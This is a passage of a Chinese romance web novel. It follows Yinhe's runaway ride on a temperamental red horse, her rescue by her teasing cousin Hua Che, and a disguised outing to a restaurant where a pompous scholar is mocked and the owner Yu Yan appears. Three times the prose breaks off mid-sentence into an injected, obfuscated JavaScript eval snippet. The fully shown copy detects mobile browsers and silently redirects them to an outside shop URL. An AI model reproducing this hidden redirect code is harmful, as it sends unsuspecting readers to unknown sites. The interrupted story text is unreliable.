支开长乐，花澈牵马向几位姑娘走来。银荷一眼就看见了他，又立即越过他，向他身后的赤色马望去。 她认得这匹马啊。 它已经令她惊奇多时了。有好几次，马倌牵着它去一块空着的场地，然后就放手让它自由奔跑。那马儿跑起来尾巴扬得像一团云，可更多的时候它只是轻摇缓步。它走路的姿势最奇特不过，十足的不可一世，好像嫌弃栅栏围起的区区数亩场地根本不够它施展似的。 长乐向旁人打听过，告诉她说：“那匹马是这里主人的心头好，千金不卖，也从不叫人骑它。”于是，她也就只能远远地渴慕地望着红马。 花瑛、花瑶看到兄长，忙上前去问候。银荷跟在后面，还是偷偷打量着那匹马。多精神的马儿！耳朵又长又尖，伶俐地竖在瘦削的脑袋两侧，前额有云朵样的一点白，除此外全身红得就像火炉里烧着的炭块。 “三哥哥今日过来做什么？”花瑛问，她和亲兄长花潜关系亲厚，在堂兄面前也没有太多拘束。 “我过来有事。听说几位妹妹也在，就顺便瞧瞧你们骑得怎么样了。” 花瑛和花瑶互相看看，也不知道她们的水平在花澈眼中能算得上是什么样。 “不过刚刚能骑而已，只能很慢地跑。”花瑛答。 “不错了，这才几个月。”花澈随便地瞅了两眼立在一旁的几匹马，“不过既然要骑，就挑几匹像样的，你们这些和骑驴有什么区别？” “这是大哥挑的。”花瑛解释道。 “大哥太瞧不起人了。还是试试这匹吧，你们骑一次便知道。” 银荷虽然对那红马很艳羡，但听花澈批评她的马，却又不愿意了。她爱怜地看看自己那匹矮小结实的白色花马，虽跑不快，但它很稳当。和红马比起来，它确实像头温驯的毛驴，不过就算是毛驴也是她的毛驴。 银荷一直没说话，拉着马便走开了。 依她平日，总要先慢慢兜两圈，抚着小马脖子，说上一阵话，才叫它跑。今日为了不给花澈看扁，刚上马背，她就催起马儿：“你快些啊。” 大概是不够快，因为她还能看清周遭景物。马儿见她不催，没多久便不再小跑，银荷坐着，只顾四处看。 她看见花澈给花瑛牵着马，花瑛从容地坐在马上，不知说了些什么，花澈只是摇头。马儿轻甩着蓬松的尾巴，趾高气扬的步态让银荷想起花府里那对锦鸡——它们显然觉得整个花园莫非自己的领地，不过那副样子看起来确实怪赏心悦目的。 银荷想装作满不在乎，可惜总是不成功，撑不了一会儿，她的眼珠子就忍不住就要朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妹妹肯原谅我了？”花澈趁势劝诱，“试试这匹马，虽不打仗，妹妹坐在马上，倒像个将军。” 银荷本来便跃跃欲试，看花澈一眼，被他神情激得就上了马。 花澈松开手：“但是我不能给你牵着，毕竟这个妹妹——” “不用你牵。”银荷正等不得这一句。 “这个妹妹不一样，我可以抱着你一起骑。”花澈把话说完。 银荷的脸登时就难看了，比暴雨前的天空还阴沉。 “妹妹莫急，这马儿不听话，我是怕你摔下来哭鼻子。妹妹可千万抓紧了。”花澈一面说，一面笑着跳开。 马儿一下子将他甩在身后。银荷并不敢大意，兴奋地紧紧握住缰绳。马蹄轻捷地踏在地上，几乎连尘土都没有扬起半点儿。 银荷头一回体会到了一种说不出的感觉，开心得忘乎所以。花瑛和花瑶好像都在旁边钦佩地看着，她想对她们笑一下，但一眨眼两人就不见了。那个讨厌的家伙当然也看不见。能够像这样驰骋，是何等的乐事！ 可惜场子太小。现在银荷明白马儿的傲气了，有翻山越海的本事，却不得不在这儿兜圈子，怪道它不乐意。 马儿也是一样想。不知是谁打开了栅栏门，它瞅准时机，梭子一般穿了出去，留下身后一连串的惊呼。 20. 输赢 跑马场北面是山，马场就在山脚下。俗话讲，望山跑死马，但银荷今日才知，这话可要分开不同的马来说。刚刚，那山还像在画上般淡淡的，转眼间，脚下已是山坡了！ 其实，这一片还只是山麓，地势平缓，起伏不大，可那马儿也因此愈跑愈快，飞也似的直向山上冲去。银荷试图勒住它，力气却不够将它一把勒死。马儿猛甩着头，又似要竖起前蹄。银荷惊恐，抓紧缰绳，俯身不敢再动。 好在不和马儿较劲，马儿也不乱来，跑得倒很稳。渐渐银荷半直起身，仍不敢扭头，只盯着马的两只耳朵之间。风呼呼而过，将她脸颊刮得生疼。 她想，马总有跑累的时候。可是也不知过了多久，只觉山路愈发狭窄，马儿却没有停歇的意思。马鬃不住地向前飞，银荷好像卷在一团红雾之中，什么都看不清。 突然，马儿转了个方向。银荷以为该下山了，忽见三十步开外黑忽忽一片林子，心道要坏，冲进树林迷路就难办了。就这一闪念的工夫，那马儿已对准一棵粗壮的大树，流星一般射过去。 银荷甚至没顾上想自己会如何，她刚刚来得及闭上眼睛。 身子一轻，银荷以为自己飞了起来，却没听到相撞的一声响。睁开眼，她看见红马擦着树干，若无其事地跑进林子里，马背上分明是空的，那她自己在哪儿？她满眼只看见一条条树干，满耳只听得一片沙沙声。 银荷骇然。她发觉原来她是坐在花澈怀中——还不如刚才撞死算了。 她又羞又气，转身狠狠推了花澈一把。花澈反还将她圈得更紧了些：“妹妹就这么对待救命恩人啊？” “什么救命，分明是你故意害我。”这不过是银荷的气话，不曾想却打中了真相。 花澈不由笑了，将马慢下来：“谁说故意，我可提醒你了——” 银荷哪里听他，对着他又推又打又摇又撞，直嚷嚷着要下去。花澈本来有几分歉疚懊悔，也就忍着。过一会儿，实在烦躁忍不得，便说：“你静一静，我带你回去。再乱动就把你丢在林子里喂狼。” “大白天哪里来的狼？”银荷这么说着，却安稳下来，花澈果真调转马头往林外而去。 “有人来了！”刚出林子，银荷突然喊一声，将脸向花澈怀里藏。趁花澈看向前面不备时，使劲一掀他胳膊将身子一缩就溜下地。自然落不稳，狠狠摔在一边。 “你还真是滑溜。”花澈停住马，无奈地望着她。 银荷不吭声，坐在地上直揉脚脖子，泪花在眼眶里打着转，她真是摔疼了。 花澈在马上看了她一会儿，只好跳下来。“难道还成了我的罪过？” 他蹲下身要检查银荷伤得如何，银荷趁机将手里一把土粒儿向他脸上扬去，不待看清到底得手没有，又一跃而起跑到他的马旁。 这可真是匹高头大马，银荷连拉带拽手忙脚乱了一通，好容易爬上去坐稳了，拧头一看，花澈好笑地瞧着她。 “我腿疼走不了路，麻烦三表哥稍候片刻，等我回去找人来接你。”银荷慌忙说道，一夹马肚，本以为马儿要冲出去，谁知竟是一步没迈。 银荷急了，又是揪马鬃，又是踢马肚子，又是擂马胯，虽然“手下留情”，没使太大力气，却也将自己折腾得狼狈不堪。可那马儿，任凭她如何，就像被绳子扯住了一般，只是原地踏着蹄子，不耐烦地晃着脑袋，仿佛银荷是只讨厌的蝇虻。 花澈在一旁火上浇油：“我在这儿站着，它怎么肯走。要么，妹妹这会儿愿意——”他作势就要上马。 银荷只好灰溜溜下来，故意不看花澈揶揄的笑脸，一瘸一拐走到一旁，一屁股坐下，没好气道：“我等着，请三表哥尽快回去喊人接我。” “腿都断了，嘴巴还硬呢。”花澈不屑地说。 话音未落，他已飞身上马，一眨眼，便冲入树林，连马蹄响都听不见了。 周遭寂静无声，银荷走动不得，倒真有点儿着急。约摸半柱香，黑马独个儿奔出树林，却不见花澈，银荷的心更是半上半下的。 不过，黑马在她面前停住，向地上干草嗅嗅，又抬起头，很自在的样子。银荷见它毛色乌亮，肢体匀称，脖颈笔直似箭，四腿紧绷如弦，真真是匹骏马，心里实在喜欢。 她起身，单脚蹦到马儿旁边。马儿圆圆的眼睛漫不经心瞟她一眼，就转开头去不加理会。银荷轻轻拍着马嘴，负气地说：“别瞧不起人，总有一天我要你好瞧。” 马儿好似能听懂，又看了她一眼，还带了些不以为然的神情。银荷情不自禁笑起来。这马真有趣，说到底和一匹马有什么可置气的。她搂住马脖子：“算你神气。我不怪你了，你以后听我话，好不好。”随即她想，这是花澈的马，听她的话做什么，脸便红了。 正没意思着，林中传来声响，银荷一扭头，瞪大了眼睛：那红马故伎重施，猛一转身，又向一棵树冲去。 银荷旁观看得更清楚，只觉比自己刚才亲历还要惊险百倍。“小心！”她大呼。 花澈轻轻侧了身子，拍了马脖子一下，马身不易察觉地一转，堪堪避开了致命一撞。花澈在银荷身前跳下马，看她吓得面色发白，心中特别喜悦，一把抱起她放在红马上：“好了，走吧。” 银荷惊魂未定，也顾不得生气，说：“这马儿古怪，我可不敢再骑它。” “你放心。”说着，花澈径自跨上黑马，旋风般跑远了。 银荷半是为较劲，半也没别的办法，壮起胆子催马前行。初时她还畏手畏脚，待跑开来就惊喜地发现这马真的变了，无论她想要做什么，马儿立即就能领会她的意图，再不自作主张。银荷只觉无比畅快，似乎世上再无不可做到之事。 一小会儿工夫，她看到花澈在前面信马由缰，赶紧勒住马，马儿跑得快停得也稳，银荷气还没换匀，它已经悠闲地迈着步子，和黑马并排走着了。 清冽的空气和刚才的纵情奔跑银荷容光焕发，端坐在马背上的婀娜身姿柔美中含着矫健。花澈扭头对她望着，本想夸奖几句，不料却看得一惊。 他早就知道这个假表妹生得美，但仿佛头一次发现竟美到了这般程度。马背上是一位姿容绝世的姑娘：她的白色骑装异常合身，领口露出细细一圈雪白的银鼠毛，诱人想伸手去摸摸，两粒耳坠子好像两颗水珠，摇曳出捉摸不定的光芒，叫人非得瞧个真切。然而这些都算不得什么，如果不是为了衬出她娇艳逼人的脸容——这样的面庞，他之前只在某些诗句中才隐约得见。这还不是全部，她整个人就是从山上奔冲而下的一股清泉，流晶沁玉，无止无休。 银荷注意到了花澈的神情。 要是换一位更惯常和男子打交道、也更富虚荣的女子，只怕已将花澈此刻心思猜了个七七八八，一定心中得意，甚或要央着他为自己做世上无论什么事了，银荷脑中却半个这种念头都没闪。 她现在自以为对花澈有几分了解：虽然他嘴里没有正经话，轻口薄舌，但似乎也不是真的起坏心——在他眼中从不见浮滑肮脏的下流气。 但他那种神情到底是什么，银荷却不知。固然也受冒犯，那是因他脸皮实在太厚，只管把那种说不上意思的目光送过来，令她止不住心跳。 但生气归生气，有那么几次，银荷甚至暗暗喜悦。而今日，因为到底是他从疾驰的马上救下自己，银荷看向花澈时，眼中不自觉流出温柔动人的波光。 这是能让人醉沉沉的眼睛，碧波幽深，又有火焰在其下灼灼闪耀。花澈隐约记得自己是打算一探究竟，便一头扎了进去。 直到银荷不自在地扭开脸，他才说：“刚刚和我的马说什么悄悄话呢？你若说实话，这次就放你一马。” 银荷脸红了：“你的马厉害，怎么不要它自己告诉你？” 花澈便拍拍马儿：“刚才妹妹是不是说，让你听她的，只管把别人摔个大跟头。” 银荷禁不住笑出了声：“三表哥真听得懂马儿说话，猜这样准。” “我认得的马儿，可比妹妹认得的字儿还多。”花澈笑道。 “不就是个马贩子嘛。”银荷撇撇嘴，心里却很羡慕，有些失落地瞅着马儿竖起的两只耳朵尖。 “妹妹骑得真不赖，等改天脚好了，咱们可以见个输赢。” 这是花澈嘴里说出的头一句让银荷异常喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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腾万马吃惊之余，猛然醒悟，眼前浮现两人骑马过来的情景，当时隐隐觉得有些不对劲，现下一想真是再相和没有。他忙说：“对不住，对不住，太唐突了。” “没什么。”花澈摆摆手，又说，“这匹马先在你这里养着，我不在的时候可别牵出来叫人骑。” 腾万马连声答应，才完全放下心来。摔了这姑娘他可真赔不起，不过哪怕多年心血付之东流，也好过这小姑娘跌断脖子，那下半辈子他都过不安生了。 其实就是扭伤了脚，也算不得小事。银荷本拟含混过去，可到家时她的脚脖子已肿成了馒头，疼得无法走路，不得不坐上接她的小轿。 她自称跳下马时不小心，其他人都不敢讲出经过。老太太将长乐骂了几句，叮嘱银荷好好养伤，不许下地，又拿了特制的膏药来，银荷只涂了两次，伤处就复原如初。 不过天渐渐寒冷起来，大家都认为不适宜再去骑马，须等到来年清明后。冬日的玩乐却也不少，姑娘们在家围炉煮茶赏雪叙话，不觉便将隆冬消磨掉了。 快到正月，府里上下张灯结彩，不消细说。年初五，来了一道圣旨，准老太太入宫几日，与做妃子的女儿见面，慰母女之情。 老太太就这么独一个女儿，一年就盼着能见这么几日，即刻准备停当。待母女相见，说起家事来，得知映雪有孕，淑妃又是欢喜，又不免生出些感触：她入宫后一直无所出，幸而圣上怜惜，将生母低微的四皇子在她名下养大。四皇子人品出众，甚得圣上喜爱，又与太子交好，她也算是有了依傍。皇家如此，民间又何尝不是，她深知无子嗣的难为。 淑妃做姑娘时与二嫂最亲密要好，看瞅着二嫂两个儿子花沛、花澈长到了几岁，比对别的侄儿更关心些。她对瑷宁这个端庄的侄媳妇也很是喜爱，这时便想要安慰安慰她，因此又请了圣恩，召郑瑷宁进宫。 瑷宁匆匆收拾一番，来不及一一叮嘱几位姑娘，便往皇宫去了。 银荷等人在家里玩得厌了，原本正打算请瑷宁带她们上街转转，现下不能成行，难免失望，又琢磨起别的办法。 21. 酒楼 这段日子，因银荷请求，老太太接了宝屏来。老太太不许老爷太太管束姑娘们，于是，银荷、花瑶、宝屏三人，白日里都呆在清圆居，只管和丫环玩耍胡闹。 这天，她们想着出门逛逛，但大姑娘在街上走，总要有兄嫂家人在旁，映雪身子不方便，瑷宁偏又进宫去了，无人陪同，三人不好成行。若没起念头便罢，想好了的事，临近关头受挫，格外难受。 银荷说起先前去骑马，不过是长乐跟着马车，也没许多麻烦，蝉影听见道：“大爷给我弟弟放了假，他在家。不然我把他喊来，陪姑娘们去？” 花瑶怕兄长知道责骂，不肯答应，可是蝉影素来顽皮大胆，没事还要找出事来，一个劲儿怂恿：“前几日太太赏了我弟弟一身新衣，还在我那儿收着，要不我穿上和姑娘们出去？去去就回，谁能知道，便大爷知道了，节日里，也不会责怪。” 此时织雨亦回家去了，丫环中以蝉影为大，她这么说，再无人劝阻，几人一商量，可以这么办，但就怕万一有人过来问，没个应对，因此还需蝉影等留在府里。那么，找谁扮个小厮呢？“我来。”银荷一口抢下。 蝉影只要花瑶能高兴就行，当下就抱来崭新一套褂子、棉靴、皂帽。 银荷先穿了厚厚两层棉袄，再穿上外褂，撑得肩宽膀圆，真像个小子了。等束起头发，描粗眉毛，大家看一回，都笑说哪里来一个这么俊俏的小书僮。 嘻嘻哈哈中，几人把平日规矩顾虑忘得干干净净，这一趟非出去不可。也不想看戏，也不想听曲，干脆就上馆子吃顿饭。 “咱们去云聚楼。”宝屏喊道。 银荷赶快揣些银子在身上：“我请客！” 可巧大节下，后门口只有几个打杂的小厮临时守着，蝉影上去一说，小厮们都不敢多瞧，赶紧牵马来套；车夫听见是去酒楼，又得了赏银吃酒，哪有不乐意的，银荷三人顺顺当当坐上了车。 银荷头一个得意，其他两人也一样高兴，好一会儿都没停住笑。 终于，银荷想起来问：“云聚楼是个什么样地方？” “哎呀，你们都不知道？听说可好吃呢。可惜我们太太没带我去过，刚好咱们就去尝尝。”宝屏说罢，又遮了嘴，示意二人靠过来，头碰头小声道，“告诉你们一件事，可千万别传出去啊，不然我就不讲了。” 两人连连保证。宝屏便说：“有传言说，那儿的掌柜是位女子，而且是和……”她看一眼花瑶，“和你三哥相好呢。” “三哥？”花瑶怀疑道，“不可能，三哥不是那种人。” 怎么不是？银荷一下子就信了。没有这传言则已，既有，简直一定是真的。 不过花瑶信赖兄长，银荷也不好讲坏话，便不吭声。 花瑶只是不信：“你从何处听来？” “是我嫂子她们讲。”宝屏道。 “是么，除非那人长得很美吧，三哥那样……”花瑶因为在背后议论兄长，不大自在地红了脸。 “正是呢！据说那位掌柜貌美无双，不过真正瞧见的人倒没几个。多少人想去见识一下，哪里见得到。就前几日，府尹的小舅子在那儿喝醉了，说了什么不敬的话，当天晚上让人差点没打死，还是在自己家里，就在那么些看家护院的眼皮子底下，连府尹也无法。” “这听起来有点像三哥。”连花瑶都信了。 这种“不宜闺阁”的话题，几人谈论得分外起劲，宝屏又讲了几件女掌柜的传闻，最后说：“也许真就是传传，反正你们千万别说出去，不论真假，都别传到表哥耳朵里。” “那我们还去？”花瑶不禁担心。 “咱们怕什么，吃顿饭而已，便是你想见，也见不到掌柜。”宝屏说。 银荷真有点儿想见。她想花澈嘴上说着那些话，与他相好之人，该是何模样？越想越好奇，饭不吃也罢，只恨不得能亲眼见见那人才好。 等马车停下，银荷跳下车一瞧，面前正立着一座高楼，雕梁画栋，气派无比，匾额上三个大字：云聚楼。门前往来则皆是肥马轻裘。 她们三个出门可没鸣锣打鼓挂幡旗，但酒楼店伙大约自有一套不为人所知的辨认办法，门口招呼的小厮眼向马车一扫，立即回身向里面的人比个手势。姑娘们还在踌躇之时，早有两个小伙计利落奔出来，低眉垂首请她们入内。 几人进门后没穿过大厅，走了侧面一道楼梯，一径被带上了三楼。 银荷跟在最后，一路向四周张望着。这间酒楼既大，客人又多，沿着回廊两侧，几乎间间屋子都有说笑之声传出，来回走动递菜的伙计川流不息。拐了一道弯后，她们最终被领入尽头的一室，引路之人始终没说话，随即便退了出去。 这是间不大不小的屋子，正把着楼角，东南两面皆有窗户，其中一扇窗下摆了花梨木书桌并笔墨纸砚等物，似是为在此观景而诗兴大发的人准备的。 背面墙上，不显眼地挂着两幅字，一幅上书“石韫玉而山辉，水怀珠而川媚”。 银荷一眼认出这是位前朝大家的字，曲展和由心都常临他的贴；银荷晓得其人真迹十分难觅，竟能在一家酒楼得见，很是意外。 另一幅字，写着“黄楼夜景，为余浩叹”，字迹秀丽清雅，像是女子手笔，留款是俞雁。 这位俞雁，不知是不是就是那位女掌柜，银荷暗暗猜测。先不论人，这字便很漂亮——当然不能和“山辉川媚”相提并论，但与名家之作大大方方挂在一处，也毫不露怯。 很快走进来两位侍女，端着茶水和几样精致点心。两人皆身着绿裙，皆是细挑挑身材，水灵灵相貌。其中一人一边摆上点心，一边说：“三位姑娘都是第一次来吧，劳烦先等等。尝尝这几样，一般人可吃不到，专门为贵客准备的。” 她说“姑娘”时特意朝银荷调皮一笑，银荷便也向她一笑，问道：“怎知我们是第一次来，难道每位客人都能记住？” 那女孩便答：“寻常客人自然不记得，贵客只要见一面就能记住。” 旁边那位没开口的横她一眼：“还不快闭嘴，都是自家人，什么稀客贵客。三位别见怪。”她转过脸笑道。 三人忙摇头。又问二人姓名，爱说话的叫碧桃，另一个文静些的叫青梅。 碧桃为她们荐了几样菜，说：“这就来了，请姑娘们稍坐片刻。” 银荷吃完点心，起身四下转转。她穿得多，只是觉得热，把窗户推得大大的，站在窗前。这楼高，能望见远处的江水，银荷看得心旷神怡，转而又想，那位俞雁，是为什么而叹息呢？ 想着想着，她自己却叹了一口气。先前没留意，这时就听窗外飘来一阵说话声，大约是旁边那间屋子也敞着窗，里面的人正聊得热闹。 银荷本想走开，可听了一耳朵就忍笑悄悄招呼花瑶宝屏：“你们快过来，是什么人这般说话，我从没听到过。” 她们一起凑近窗口细听。一个男人念了几句不知所云的话，便听另一人叹道：“如何这一支妙笔偏偏让卢兄得了，卢兄现今应有尽有，哪儿还不够。倒是给了小弟，我也做出几篇锦绣文章，什么样的门叩不开？” “不够不够。”先前那人大笑一阵后说：“还不够好，这只是昨日随便作的，还需润色一番，才敢拿回去让家父过目。” 又有一人说：“果真是家学渊源，贤弟这精益求精的脾性，我等自愧弗如。只是贤弟过谦了，你这文章要是天下第二，谁还敢称第一？要不信我的话，拿去给秦大人或者任大人评议——” “此言差矣，”一人插话道，“任大人未必尽领文章精妙之处，一定得拿给任小姐看。先打动了姑娘，来个捷足先登。过两日，卢兄少不得就该做一套催妆诗了。” “我正是此意。”被打断那人又说，“卢贤弟最懂帐中吟诗作赋的妙处。——咱们关起门来讲，秦小姐艳冠京都，照我等伧夫俗子看，已属绝品，但要头等眼光，还是任小姐更胜一筹。至于二美兼备的姑娘，世所罕有，可遇不可求那。” “这回公道，”前面那人说，“可知你还算不得最俗，最俗的管它才情盖世还是姿容无双，只看陪嫁的金银够不够多，老丈人头上那顶乌纱够不够大。” “大妙！此话耐咀嚼。”一人赞叹，“将来谁若是作一篇《京都名媛录》，可不能少了这句点睛之笔。” 几人大笑。“何必如此辛辣。照此说来，两位小姐都是雅俗共赏了。可惜咱没福分，非有卢贤弟这般才气，方可作大人们东床之选。” 那姓卢的得意道：“咳，贤兄弟们扯远了，我还没有娶亲的打算。咱们正经做学问，可不是为了这个。” “果然卢兄才是读书人本色。书中自有颜如玉，毋需强求，该来的自然会来，趣味还在后头。依我说，这时越发要斯文矜持些，方不自贬身份。也不比远，就说那卫维扬，要是早早让谁套住，还能有今日的口碑声誉？” 其他人听了又是一派吹捧：“比什么卫维扬，说他‘周郎学识，秦郎风度，柳七文章’，我看不过样子货，较卢兄所差远矣。” 银荷几人初时听他们说得可笑，听着听着面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16970642|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色就沉了下来。这当儿，花瑶红了脸，跺脚走开说：“这里不好，什么无聊人都有。” 银荷也恼恨他们对任姑娘不尊重，一把关上窗子：“蠢话连篇，一帮酒囊饭袋。别理他们了，我们玩我们的。” 说话间，碧桃和青梅上了菜来。先是笋脯、酱莴苣、腐皮松菌、乌鱼等数样精致小菜，连同盘箸杯盏，无一不精美异常。几人哪里还顾上不愉快，赶紧坐下品尝。 正吃得兴高采烈时，猛听门外头碧桃和人争执：“哎，离我远着点儿，别弄脏了菜。” “哪样菜，我也点一道，也要小美人亲自送过来。”一人轻薄道。这声音浮夸腻人，正是先前那位“妙笔卢兄”，只不过早把正经学问不知丢哪里去了。 “休得胡闹。”碧桃冷笑道，“公子只怕是头一回来，还不知大小。这道菜你吃不起，快让开，跌了盘子你也不够赔。” 银荷怕碧桃吃亏，忙打开门。一个圆胖身子的家伙正拦在碧桃面前，他见银荷侍童打扮，没多瞧，又探头向屋内瞥去，花瑶宝屏不及避开，被他一眼看见。这人扇子一摇，转向碧桃笑起来：“一般都是客人，她们这儿既管送小倌，如何我们那儿就不能送位小美人？” 碧桃勃然变色，待要发作，银荷见又出来几人，都在往这边看，忙一把拽进她来，啪一声关上门，只听那卢公子和他的同伴仍在外面刺刺不休。 碧桃气得胸脯一鼓一鼓：“有段日子没见过这等狂徒了，我叫人揍他去。” 花瑶恐事情闹大，忙过来拉住她。 “姑娘不必紧张。”碧桃说，“这种家伙来多少理会多少，管保他不敢叫唤。你们只管坐着，暂时别出去，一会子就好。” “他那个样儿，我看可经不住三拳两脚。先等一下，”银荷笑道，“我还听见他自诩读书人呢，咱们就用个文办法。”说着她走到桌前，研墨的功夫想好了，提笔刷刷写出几行字，折成信笺样子，交给碧桃，又在她耳边吩咐几句。 “这个好玩，咱们就试试。”碧桃只管点头，笑着出了门。 三人将门拉开条缝，头凑头向外瞧去。 碧桃走到那胖公子面前，脆声道：“卢公子，刚才多有得罪了。这里的客人久慕公子，要我向公子道歉。公子是明礼之士，请不要计较我无心之言。” 那姓卢的公子听见碧桃说出他的姓，不疑有它。当下得意地向两旁扫一眼，整整衣衫，折扇轻摇，上前一步说：“哪里哪里，适才我多喝了几杯，有些醉了，唐突了佳人。不知小姐尊府何处？” “我们只知是客人，别的倒也不知。等公子自己问便了。” 卢公子大喜：“那便有劳姑娘引见。” 碧桃忍着笑说：“公子莫急，稍待片刻。这位客人敬仰公子文采，有几句诗赠与公子。请公子当众和诗一首，才好相见。” 卢公子听了更是喜得无可不可，摇头晃脑道：“正应景，良辰美酒，岂可无诗乎？尊客人雅情，小生敢不欣然领命。我就即席和一首，不屈小姐盛意。恐怕我做得不好，还为逗小姐一乐。请拿来——” 碧桃把纸笺往他肥白绵软的手上一丢，捂嘴站到旁边。 这时候，除了他那几个狐朋狗友在旁插诨起哄，另有些客人先前听到动静出来视看，也凑近瞧个热闹。众目睽睽之下，卢公子展开纸张。 “妙——”他似乎是无意地说出这个字，嘴巴还没合上，笑容便凝住，面皮直涨成猪肝色，就要去撕那纸。 碧桃早有准备，一把抢过来：“哪个字不认识？我帮你念。” 她躲到近旁一大汉身后，清脆读出来：“ 妙 最俏 扇儿摇 头头是道 虾蟆乱聒噪 口气大，见识小 不知丑上蹿下跳 谁理你天字第几号 劝君一言：撒泡尿照照。” 众人哄堂大笑。就连卢公子的诸位文友也不例外，有的忍俊不禁，又碍着朋友面子，只向没人瞧的地方偷偷掩嘴，有的心虚脸红，但见旁人都笑，也勉强装出几声。 卢公子恼羞成怒。“哪个窑子里出来的烂货敢来消遣我？”他破口大骂，就要去逮碧桃。 银荷赶紧冲出门来，正看到原先挡住碧桃那人转身抓了他后领一拽，不知怎的那卢公子就结结实实摔了个四脚朝天。大家笑得更响，片刻后才上去两人好歹扶了他起来。 卢公子呲牙咧嘴，还欲再骂，突然像被施了定身法一般，目视前方，呆立不动。 22. 由心 顺着卢公子的目光望去，一位佳人正款款行来。一颗亮晶晶的宝石在斜入云鬓的钗头摇摇欲坠，墨、翠、白三只玉镯在凝霜皓腕上叮当作响。至于女郎的面容，众人一见之下，将所有能用来形容的词全部忘了。 不可能再有别人。从宝屏一番话后，银荷已相信酒楼掌柜貌美无比，然而这时见到真容，心还是突地一下。在场的人好像全部倒吸一口气，然后一齐安静下来。 女郎一面走近，一面微微颔首向众人致意。被她丝绒般的目光拂过时，大家纷纷低下头，等她转开脸后，又偷偷抬起眼瞧她。 刚才摔倒卢公子的人上前，低头对她耳语几句。众人这时才发现她身后还跟着两三位汉子，清一色精悍装束，个个目光慑人，很不好惹的模样。 女郎听完话，看向卢公子：“刚才是你生事，打扰我的客人？” 她一开口，大家便把那些骇人大汉丢开了。她的音量不高，可因为人人都屏息静气，连站在后面的银荷也听得清清楚楚。众人如闻天籁。其实这嗓音充满平易之美：女郎说话极其温柔和悦，让听到的人如饮甘泉醇酒般浑身舒坦。 银荷一下就被折服了，心想：世上怎会有如此美的女子，这般好听的声音，哪怕靠近一点就像亵渎，搭句话都是冒犯。 偏生那个卢公子就毫无自知之明，涎着脸又上前一步，打恭道：“不才卢令述。都是误会，惊了姐姐仙驾，还望姐姐原宥。” 这当儿他显得更加鄙陋不堪，连他的朋友都悄悄退远了些，撇过头不去瞧他。 “我知道公子。”女郎轻轻点头，“你是通政大人刚刚认回来的儿子。” 卢令述脸上一红一白。他的身世的确不多么光彩，可是现在也已认祖归宗，前事谁去管它。无论如何他姓卢，父亲乃是堂堂三品通政使，祖谱上有数位响当当的人物！ 莫笑卢令述浅薄，时下只认姓氏血统的大有人在。就说那些帮闲围着他吹捧，虽是为了骗吃骗喝，可也没拿他当猫三狗四之辈。 “我又不是无名少姓，我的身份，比在场这些人是绰绰有余。年少有为、经纶满腹自不待言，来日还更要光大门楣，何况就是眼下也已名声远播，不然她怎么一口道出我的家世。”如此一想，卢令述复又得意起来，片刻前斯文扫地之事忘了个干净。 他站直身子，自作潇洒道：“实不相瞒，敝人幼时多病，家祖怕家父管教过严，所以特令我外面住着。家父也有意要我历练历练，每十日必去查考。敝人不敢负长辈厚望，一向勤勉，未稍有松懈耽迟。今日得罪姐姐的客人，全属无意。不过若非此，也不得与姐姐相识。敝人愿听候姐姐差遣。此处人多，还请姐姐移步，咱们屋内小叙。” 他一面说话，一面盯着女郎的脸神魂颠倒，一面又向前移两步。哪里容他近身，早有人上去抓他肩膀。咔嚓一声，他的胳膊脱了臼。 卢令述疼得大声惨叫。女郎不满地微蹙眉头：“给他安上，好生送出去罢，以后不许再来，这顿饭钱就不必算了。” 肩膀复位后，卢令述已是气焰全失。女郎对他说：“多有得罪了，卢公子，令尊大人若问起，也算你历练一场。” 旁的人一句不敢吭声，拖着卢令述，逃也似地走了。其余人顷刻间也散去。 女郎都没理会，只走到银荷面前，歉意道：“实在对不住，几位头一次来就遇上这事。” 银荷忙摇头：“都是我惹了麻烦，多谢相助。” “不用再提。”她略带疑惑地打量银荷，犹豫着说，“我姓俞，不知你是哪位妹妹。” 果然是那个俞雁。 “我姓曲。”银荷立即应道。 “啊，是曲姑娘。”俞雁赞赏地望着她。 银荷正待邀她进屋，俞雁突然说：“那边是你表兄吧。” 银荷吃了一惊，扭头望去，却是花涛，旁边还站着位玉树临风的公子。 花涛走上前来：“原来真是表妹。” 俞雁轻碰银荷的手，向二人点头示意后便即离去。 花涛不禁有些发窘，又问银荷：“表妹怎么这副打扮？你和谁一起来的？” “瑶妹妹，屏妹妹。四表哥怎么在这儿？”银荷比花涛更窘迫。 “你们都来了——就你们三个？我刚吃完饭。对了，表妹还不认识吧，这是卫公子。”刚才花涛身旁的公子也走了过来，花涛向他说，“这是舍表妹，姓曲，是我二舅公的孙女。” 那人便上前施礼道：“曲姑娘，在下卫维扬。” 银荷愣住，险些忘了还礼。 这个人是卫维扬，那位“二老爷”？卫维扬是这么个人？当然了，刚才那群家伙口里诋毁的人物，必然是极好，而且，他长得可真……银荷脸红起来，赶紧说：“我们先进屋吧。” 